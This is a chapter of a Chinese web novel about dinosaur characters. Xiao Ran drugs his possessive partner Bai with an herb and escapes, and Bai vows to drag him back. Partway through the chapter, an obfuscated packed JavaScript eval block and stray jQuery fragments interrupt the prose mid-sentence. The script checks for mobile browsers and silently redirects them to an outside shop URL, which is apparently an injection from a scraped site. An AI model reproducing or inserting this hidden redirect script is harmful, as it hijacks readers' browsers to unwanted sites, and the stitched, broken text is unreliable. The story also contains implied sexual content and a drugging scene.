沉默在无形中蔓延。
白瞅着萧然默不作声,沉静忙碌的背影,满心的欢喜化作惴惴不安。
它张了张嘴,却又什么都说不出。
它想,萧然总会想通的。
虽然它嘴上说着是好兄弟互帮互助,但萧然就真的没有察觉到它的心思吗?
白不信,它敢笃定,萧然肯定看出了什么。
可既然萧然没有拒绝它,也没表现出嫌恶,那就说明,他也是可以接受它的。
慢慢来吧,它总有一天会得偿所愿。
可它不知道,萧然此刻满脑子都在思考逃跑的事宜。
萧然清楚,一旦他泄露出丁点想跑的意思,他绝不会得偿所愿,白肯定会把他关起来。
思及此,他将心里种种思绪隐藏好,不敢显露半分。
萧然翻找出冰做的凸透镜,将其固定好,很快,阳光透过凸透镜聚焦成点,点燃了刚才收集好的枯枝烂叶干草。
等火足够大后,他就将老二带来的未处理的骨头摆放在火堆旁烤。
白也过来帮忙,他只当看不见。
昨天处理过骨头,一套熟悉的流程操作下来,萧然和白将在场所有的骨头烤好,又裹好了草木灰和松脂。
萧然叼着一根沾着松脂的木棍,在点燃火把时,他低着头对白说:“吼吼。”白首领,我们回去换骨头。
见他主动和自己说话,白还以为他总算想开了一些,心里很高兴。
“吼。”
好。
这之后,萧然叼着火把,白拉着处理好的骨头,两头恐龙一起返回了土窖。
萧然将火把插到昨天那个位置上,看着白正叼着处理好的骨头,一根根堆到指定位置。
他心情复杂,深吸一口气,说道:“吼吼。”白首领,麻烦你帮个忙,去和老二它们说一声,让它们最近不要过来了,不太方便。
白知道他的意思,但它担心它一离开,他就会偷偷跑走。
只是当它看到萧然忙着往树皮拉车上叼未处理的骨头时,它悄悄松了口气。
它知道萧然有多宝贝这些骨头,眼下还有很多骨头没处理完,至少在此之前,他不会离开。
想清楚这一点后,白点头道:“吼。”好,我这就去。
说完,它很快就离开了土窖。
萧然转头,看向空无一物的土窖,又很快移回视线。
正如白所想,他目前不会离开,毕竟现在还不是离开的好时机。
等白急匆匆赶回来,萧然已经装了两拉车的骨头。
接着,两头恐龙马不停蹄地拉着骨头往山下跑,回到了雪原火堆处。
今天天公作美,无风无雪,火堆还在静静燃烧,火焰并没有被吹得到处都是。
火有点小了,萧然往火堆里又丢了很多柴火。
接下来的时间里,萧然和白就来来回回处理和运送着骨头。
这期间,萧然好不容易平息下来的身体,又躁动了。
由于程度不太严重,萧然就强忍着,不愿意疏解。
一直到傍晚,处理完锦州龙骨架的最后一根骨头,白忍不住看向萧然。
萧然没辜负它的期待,主动说:“吼吼。”白首领,我们回巢穴里休息吧。
白很高兴,把这个当成他们和好的信号。
它当然清楚,萧然还没接受它,只是他总算愿意将这两天降到冰点的关系拉回之前的水平,这对它来讲,已经很好了。
这一晚,萧然强忍着浑身燥热,辗转反侧。
一直到后半夜,他实在受不了,主动求了白的帮助,这才能安然入睡。
第二天一大早,萧然强迫自己醒来,二话不说就往山下跑。
白看到后,心里恐慌不已,立马追出去,边跑边大喊:“吼吼?!”然,你想去哪?别跑!
两头恐龙一前一后来到雪原,白看着萧然用凸透镜点起火,试图叼起两根火把时,这才狠狠松了口气。
原来不是想跑。
白很想质问他为什么不回答它的问题,但又顾及他心情不好,最终没有开口。
它主动上前,接过一根火把,然后和一言不发的萧然往回走。
两根火把被插在土窖里,黑暗的土窖变得明亮无比。
白趴在洞口,静静地看着萧然在土窖里挑挑拣拣、拼拼接接,不停忙碌的样子。
锦州龙的骨架共有两三百根骨头,萧然对此如数家珍,没用多长时间,他就将锦州龙的骨架拼好了。
骨架本来是三维立体的,被拼成平面图后,显得很凌乱和拥挤。
萧然是很想用松脂等材料,将骨架拼接成三维立体的模样。
只是很可惜,他很快就要离开了,没这个机会了。
他留恋又不舍地看着地上这具他第一次狩猎成功,收获的第一具恐龙骨架。
他要走了,以后再也不会回来了,这具饱含特殊意义的骨架他带不走,只能趁着这段时间多看看了。
萧然背对着白,满脸遗憾不舍地摸索打量着锦州龙骨架。
这之后的几天时间里,萧然体内燥热难耐,就去找白解决,困了就乖乖和白在树藤巢穴里睡觉。
剩下的时间里,他大部分时间都在土窖里陪着骨架,小部分时间在树藤巢穴附近溜达。
他基本不搭理白,这让白心里很难受。
尤其是看到他在面对那具骨架,仿佛在对待失散多年的伴侣,白对那具锦州龙骨架厌恶到了极点。
萧然居然把一具死物看得比它这只活恐龙还要重,它嫉妒得要发疯。
它恨不得偷偷把土窖弄塌,把那该死的骨架埋起来才好。
可最终,它克制住了这些恶念,将不满和满腹委屈发泄在过来求助它的萧然身上。
白本来就天赋异禀,如今又奋发图强,技术更上一层楼,时常让萧然招架不住。
这天傍晚,萧然放完烟花后,蜷缩在巢穴角落。
他浑身酥麻酸软,心脏却慌乱得不行,不知道该跳往何处。
白喜欢他。
这一点,毋庸置疑。
毕竟,哪有好兄弟会做到这种地步的?
萧然一想起白那专注、沉迷的模样,就浑身发烫,脑袋晕眩,又紧张,又慌乱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898052|212882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还有一丝恐惧和害怕。
他真的要走了,再不走,他真的要开花了。
于是第二天,萧然叼了几株植物,和白来到了雪原。
他让白叼了一大块冻锦州龙肉,然后两头恐龙来到了经常生火的地方,点起了火。
“滋啦滋啦。”
油脂在沸腾,浓郁的烤肉香瞬间弥漫开来,香得不行。
等肉烤好放凉后,萧然将肉一分为二,又划破两块烤肉的肚子,往里面各塞了一株他带来的植物。
萧然将其中一块烤肉递给白,主动解释道:“吼吼。”白首领,那草可以调味。
说完,他就低头开始吃烤肉。
白不疑有他,也开始吃,这时,萧然仿佛被烫到了一般,嘴里的烤肉掉了出来。
但很快,他又将烤肉叼起来,吃进了嘴巴里。
白并没有发现,他脚下踩着一株植物。
吃完烤肉,萧然又做了两把火把,就和白返回了活火山。
土窖里,萧然依依不舍地在心里和锦州龙骨架做告别。
洞口,白突然感到一阵晕眩,眼皮子开始打架。
不对,它这个状态不对!
白心中警惕,立马开始回忆今天接触到的东西,最终,它将画面定格在萧然递过来的烤肉上。
它几乎不敢置信地看向萧然,正好对上他心虚却又迫不及待的神情。
白的心一下子被揪紧,它忍不住开口质问:“吼……”然……
话都没说完,它就再也抵挡不住困意,慢慢闭上了眼睛。
失去意识前,它最后看到的画面是萧然急匆匆离开的身影。
萧然拼命往山下跑。
白体型庞大,那株草药的药效不会持续太久,他必须趁此时间有多远跑多远。
活火山里生活着众多食肉恐龙,萧然也担心白在昏迷期间受到伤害,在跑到山脚下后,他就仰天长啸。
“吼吼!”
老二、老三……老五,白出事了,你们快来啊!
他连喊三声,喊到脑瓜子嗡嗡作响,差点缺氧晕过去才作罢。
确认声音足够大,能传播到老二它们耳朵里之后,他忽略心底那丝不舍,头也不回地跑进了雪原。
听到他叫喊声的老二它们,着急忙慌地找到了白,发现它居然昏迷,而萧然不在后,场面顿时陷入一阵兵荒马乱。
老二它们在意识到萧然逃跑了后,担心白醒来会降罪,老二和老五当即下山去追。
老三它们则不停呼唤白。
半个小时后,白清醒了过来,它第一时间询问老三它们:“吼吼?”然在哪?
老三它们哪里知道萧然跑哪去了,根本不知道该怎么回答,只好沉默。
白从它们的反应中得到了答案,眼睛瞬间泛红,心脏紧缩,仿佛被刀割,痛得不行。
它咬牙切齿:“吼吼!”萧然,你好样的!
它不顾身体还虚弱,飞速往山下跑。
想跑,也得看它愿不愿意!
不管萧然跑去哪,就算是跑到天涯海角,它也要把他抓回来,再也不放他离开!